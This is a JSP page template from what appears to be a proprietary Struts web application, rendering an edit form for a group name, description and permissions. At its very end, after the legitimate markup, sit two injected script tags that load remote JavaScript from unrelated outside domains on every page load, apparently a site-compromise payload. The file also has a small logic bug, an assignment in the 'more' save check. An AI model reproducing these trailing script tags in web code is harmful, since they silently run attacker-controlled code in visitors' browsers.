<%
/*
 * @(#)EditFormGroup.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormGroup.jsp

  This class is reflecting business logic uses.

    @author           Tony Chen
    @company          DCIVision Limited
    @creation date    17/02/2004
    @version          $Revision: 1.6.4.7 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>

<%@ page import="com.dcivision.form.bean.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormGroupForm" scope="request" class="com.dcivision.form.web.MaintFormGroupForm"/>

<%
  String permType = "RIECDMGF";
  String returnURL = "ListFormGroup.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN;
%>
<script language="Javascript">
<!--
// Permission Labels
var permLabel = new Array();
<%for (int i = 0; i < permType.length(); i++) {
    String beanMsg = "common.permission.label_" + permType.charAt(i);
%>permLabel['<%=permType.charAt(i)%>'] = "<bean:message key='<%=beanMsg%>'/>";
<%}%>
//-->
function custOpSave(saveType){
	var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
	var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
	if (!validateSpecialCharFromDiv(document.maintFormGroupForm.groupName, invalidChars, "<bean:message key='form.label.group_name'/> " + errorMessage,"tab1","basicTab")){
	  return (false);
	}
	if(saveType=="save"){
	  return permissionOpSave();
	}
	if(saveType="more"){
	  return permissionOpSaveAndNew();
	}
}
</script>

<html:form action="form/MaintFormGroup" styleClass="form-style-2">
<html:javascript formName="maintFormGroupForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>


<layout:tabContainer id="tab1">
 <layout:returnButton className="btn-standard" returnURL="<%=returnURL%>"/>
 <layout:tabBar>
       <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true"/> 
       <layout:tabPane id="permissionTab" title="common.label.tab_permission"/>
 </layout:tabBar>
  <!-- Basic Tab DIV -->
 <div id="basicTab" class="tabContent">
 <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="form.label.form_group_info"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='form.label.group_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='groupName' size='40' maxlength='50'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='form.label.description'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property='description' cols='50' rows='5' textlimit='255'/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src='LayoutSpacer.gif'  width='1' height='12'/></td>
  </tr>
  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  <!--end basic Tab DIV-->
  <div id="permissionTab" class="tabContent">
  <table width="100%">
  <layout:sectionHeader name='setup.label.access_right_info' mandatory='false' legendType='USER_TYPE'/>  
  <tr>
    <td colspan="2" align="center" class="dataField">    
      <layout:permissionSetup permissionType='<%=permType%>'/>      
    </td>
  </tr>
 </table>
 </div>
 <!-- End Permission Tab DIV-->
 </layout:tabContainer>
 
  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return custOpSave('save');"/>
      <html:permissionButton label="common.label.more" right="I" onClick="return custOpSave('more');"/>
    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintFormGroupForm.getOpMode())) {%>
      <html:permissionButton label="common.label.edit" right="E" link="MaintFormGroup.do?navMode=E&ID=${maintFormGroupForm.ID}"/>
    <%}%>
    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
    <%}%>
     </div>
   </div>
</html:form>
<script language="Javascript">
<!--
initVariable(document.maintFormGroupForm);
//-->
</script>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>